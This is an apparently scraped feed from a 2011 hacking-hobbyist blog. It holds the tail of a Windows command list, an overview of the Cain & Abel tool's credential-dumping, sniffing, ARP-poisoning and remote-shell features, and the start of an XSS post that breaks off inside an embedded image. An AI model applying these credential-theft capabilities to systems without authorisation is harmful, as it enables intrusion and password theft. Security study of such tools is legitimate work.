TITLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set the window title for a CMD.EXE session&lt;br /&gt;
TOUCH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change file timestamps&lt;br /&gt;
TRACERT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trace route to a remote host&lt;br /&gt;
TREE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Graphical display of folder structure&lt;br /&gt;
TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display the contents of a text file&lt;br /&gt;
&lt;br /&gt;
USRSTAT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List domain usernames and last login&lt;br /&gt;
&lt;br /&gt;
VER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display version information&lt;br /&gt;
VERIFY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Verify that files have been saved&lt;br /&gt;
VOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Display a disk label&lt;br /&gt;
&lt;br /&gt;
WHERE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Locate and display files in a directory tree&lt;br /&gt;
WHOAMI&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Output the current UserName and domain&lt;br /&gt;
WINDIFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Compare the contents of two files or sets of files&lt;br /&gt;
WINMSD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows system diagnostics&lt;br /&gt;
WINMSDP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows system diagnostics II&lt;br /&gt;
WMIC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WMI Commands&lt;br /&gt;
&lt;br /&gt;
XCACLS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Change file permissions&lt;br /&gt;
XCOPY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copy files and folders&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/397822886710547938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/all-dos-commands.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/397822886710547938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/397822886710547938'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/all-dos-commands.html' title='All Dos Commands'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-1157262908285614466</id><published>2011-02-23T11:39:00.000-08:00</published><updated>2011-02-23T11:39:18.202-08:00</updated><title type='text'>Intro : Cain And Abel Tool</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: arial, verdana, geneva, sans-serif; font-size: 12px; line-height: 16px;&quot;&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;This is the tool I used sometimes to recover passwords that I have forgotten. I do not encourage hacking. This tool is actually considered a backdoor sometimes by some of the security software in the market. Personally I think it is useful, but people tend to abuse it.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;a href=&quot;http://www.oxid.it/cain.html&quot; style=&quot;color: #0066cc; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot;&gt;Cain &amp;amp; Abel&lt;/a&gt;&amp;nbsp;is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;Cain &amp;amp; Abel has been developed in the hope that it will be useful for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;span id=&quot;more-157&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;The tool is divided into 2, namely Cain, and Abel.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;strong&gt;Cain’s features&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;a href=&quot;http://twit88.com/blog/wp-content/uploads/2007/10/cain.png&quot; style=&quot;color: #0066cc; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot; title=&quot;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://twit88.com/blog/wp-content/uploads/2007/10/cain.png&quot; style=&quot;border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Protected Storage Password Manager&lt;br /&gt;
Reveals locally stored passwords of Outlook, Outlook Express, Outlook Express Identities, Outlook 2002, Internet Explorer and MSN Explorer.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Credential Manager Password Decoder&lt;br /&gt;
Reveals passwords stored in Enterprise and Local Credential Sets on Windows XP/2003.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;LSA Secrets Dumper&lt;br /&gt;
Dumps the contents of the Local Security Authority Secrets.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Dialup Password Decoder&lt;br /&gt;
Reveals passwords stored by Windows “Dial-Up Networking” component.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;APR (ARP Poison Routing)&lt;br /&gt;
Enables sniffing on switched networks and Man-in-the-Middle attacks.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Route Table Manager&lt;br /&gt;
Provides the same functionality of the Windows tool “route.exe” with a GUI front-end.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;SID Scanner&lt;br /&gt;
Extracts user names associated to Security Identifiers (SIDs) on a remote system.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Network Enumerator&lt;br /&gt;
Retrieves, where possible, the user names, groups, shares, and services running on a machine.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Service Manager&lt;br /&gt;
Allows you to stop, start, pause/continue or remove a service.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Sniffer&lt;br /&gt;
Captures passwords, hashes and authentication information while they are transmitted on the network. Includes several filters for application specific authentications and routing protocols. The VoIP filter enables the capture of voice conversations transmitted with the SIP/RTP protocol saved later as WAV files.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Routing Protocol Monitors&lt;br /&gt;
Monitors messages from various routing protocols (HSRP, VRRP, RIPv1, RIPv2, EIGRP, OSPF) to capture authentications and shared route tables.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Full RDP sessions sniffer for APR (APR-RDP)&lt;br /&gt;
Allows you to capture all data sent in a Remote Desktop Protocol (RDP) session on the network. Provides interception of keystrokes activity client-side.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Full SSH-1 sessions sniffer for APR (APR-SSH-1)&lt;br /&gt;
Allows you to capture all data sent in a HTTPS session on the network.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Full HTTPS sessions sniffer for APR (APR-HTTPS)&lt;br /&gt;
Allows you to capture all data sent in a HTTPS session on the network.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Certificates Collector&lt;br /&gt;
Grab certificates from HTTPS web sites and prepares them to be used by APR-HTTPS.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;MAC Address Scanner with OUI fingerprint&lt;br /&gt;
Using OUI fingerprint, this makes an informed guess about what type of device the MAC address from.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Promiscuous-mode Scanner based on ARP packets&lt;br /&gt;
Identifies sniffers and network Intrusion Detection systems present on the LAN.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Wireless Scanner&lt;br /&gt;
Can scan for wireless networks signal within range, giving details on its MAC address, when it was last seen, the guessed vendor, signal strength, the name of the network (SSID), whether it has WEP or not (note WPA encrypted networks will show up as WEPed), whether the network is an Ad-Hoc network or Infrastructure, what channel the network is operating at and at what speed the network is operating (e.g. 11Mbps). Passive scanning and WEP IVs sniffing are also supported using the AirpCap adapter from CACE Technologies.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;802.11 Capture Files Decoder&lt;br /&gt;
Decode 802.11 capture files (wireshark, pcap) containing wireless frames encrypted with WEP or WPA-PSK.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Access (9x/2000/XP) Database Passwords Decoder&lt;br /&gt;
Decodes the stored encrypted passwords for Microsoft Access Database files.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Base64 Password Decoder&lt;br /&gt;
Decodes Base64 encoded strings.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Cisco Type-7 Password Decoder&lt;br /&gt;
Decodes Cisco Type-7 passwords used in router and switches configuration files.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Cisco VPN Client Password Decoder&lt;br /&gt;
Decodes Cisco VPN Client passwords stored in connection profiles (*.pcf).&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;VNC Password Decoder&lt;br /&gt;
Decodes encrypted VNC passwords from the registry.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Enterprise Manager Password Decoder&lt;br /&gt;
Decodes passwords used by Microsoft SQL Server Enterprise Manager (SQL 7.0 and 2000 supported).&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote Desktop Password Decoder&lt;br /&gt;
Decodes passwords in Remote Desktop Profiles (.RPD files).&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;PWL Cached Password Decoder&lt;br /&gt;
Allows you to view all cached resources and relative passwords in clear text either from locked or unlocked password list files.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Password Crackers&lt;br /&gt;
Enables the recovery of clear text passwords scrambled using several hashing or encryption algorithms. All crackers support Dictionary and Brute-Force attacks.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Cryptanalysis attacks&lt;br /&gt;
Enables password cracking using the ‘Faster Cryptanalytic time – memory trade off’ method introduced by Philippe Oechslin. This cracking technique uses a set of large tables of pre calculated encrypted passwords, called Rainbow Tables, to improve the trade-off methods known today and to speed up the recovery of clear text passwords.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;WEP Cracker&lt;br /&gt;
Performs Korek’s WEP Attack on capture 802.11 capture files containing WEP initialization vectors.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Rainbowcrack-online client&lt;br /&gt;
Enables password cracking by mean of the outstanding power of this on-line cracking service based on RainbowTable technology.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;NT Hash Dumper + Password History Hases (works with Syskey enabled)&lt;br /&gt;
Will retrieve the NT password hash from the SAM file regardless of whether Syskey in enabled or not.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Syskey Decoder&lt;br /&gt;
Will retrieve the Boot Key used by the SYSKEY utility from the local registry or “off-line” SYSTEM files.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;MSCACHE Hashes Dumper&lt;br /&gt;
Will retrieve the MSCACHE password hashes stored into the local registry.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Wireless Zero Configuration Password Dumper&lt;br /&gt;
Will retrieve the wireless keys stored by Windows Wireless Configuration Service.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Microsoft SQL Server 2000 Password Extractor via ODBC&lt;br /&gt;
Connects to an SQL server via ODBC and extracts all users and passwords from the master database.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Oracle Password Extractor via ODBC&lt;br /&gt;
Connects to an Oracle server via ODBC and extracts all users and passwords from the database.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;MySQL Password Extractor via ODBC&lt;br /&gt;
Connects to an MySQL server via ODBC and extracts all users and passwords from the database.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Box Revealer&lt;br /&gt;
Shows passwords hidden behind asterisks in password dialog boxes.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;RSA SecurID Token Calculator&lt;br /&gt;
Can calculate the RSA key given the tokens .ASC file.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Hash Calculator&lt;br /&gt;
Produces the hash values of a given text.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;TCP/UDP Table Viewer&lt;br /&gt;
Shows the state of local ports (like netstat).&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;TCP/UDP/ICMP Traceroute with DNS resolver and WHOIS client&lt;br /&gt;
A improved traceroute that can use TCP, UDP and ICMP protocols and provides whois client capabilities.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Cisco Config Downloader/Uploader (SNMP/TFTP)&lt;br /&gt;
Downloads or uploads the configuration file from/to a specified Cisco device (IP or host name) given the SNMP read/write community string.&lt;/li&gt;
&lt;/ol&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;strong&gt;Abel features&lt;/strong&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;&lt;a href=&quot;http://twit88.com/blog/wp-content/uploads/2007/10/console.jpg&quot; style=&quot;color: black; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot; title=&quot;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://twit88.com/blog/wp-content/uploads/2007/10/console.jpg&quot; style=&quot;border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote Console&lt;br /&gt;
Provides a remote system shell on the remote machine.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote Route Table Manager&lt;br /&gt;
Enable to manage the route table of the remote system.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote TCP/UDP Table Viewer&lt;br /&gt;
Shows the state of local ports (like netstat) on the remote system.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote NT Hash Dumper + Password History Hases (works with Syskey enabled)&lt;br /&gt;
Will retrieve the NT password hash from the SAM file regardless of whether Syskey in enabled or not; works on the Abel-side.&lt;/li&gt;
&lt;li style=&quot;list-style-type: decimal;&quot;&gt;Remote LSA Secrets Dumper&lt;br /&gt;
Dumps the contents of the Local Security Authority Secrets present on the remote system.&lt;/li&gt;
&lt;div class=&quot;akpc_pop&quot; style=&quot;margin-bottom: 15px; margin-top: 0px;&quot;&gt;Popularity: 39%&amp;nbsp;&lt;span class=&quot;akpc_help&quot;&gt;[&lt;a href=&quot;http://alexking.org/projects/wordpress/popularity-contest&quot; style=&quot;color: #0066cc; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: underline;&quot; title=&quot;What does this mean?&quot;&gt;?&lt;/a&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/1157262908285614466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/intro-cain-and-abel-tool.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1157262908285614466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1157262908285614466'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/intro-cain-and-abel-tool.html' title='Intro : Cain And Abel Tool'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-7491047846348409115</id><published>2011-02-18T08:16:00.000-08:00</published><updated>2011-02-18T08:41:23.915-08:00</updated><title type='text'>How to Start with XSS Hacking ?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;data:image/png;base64,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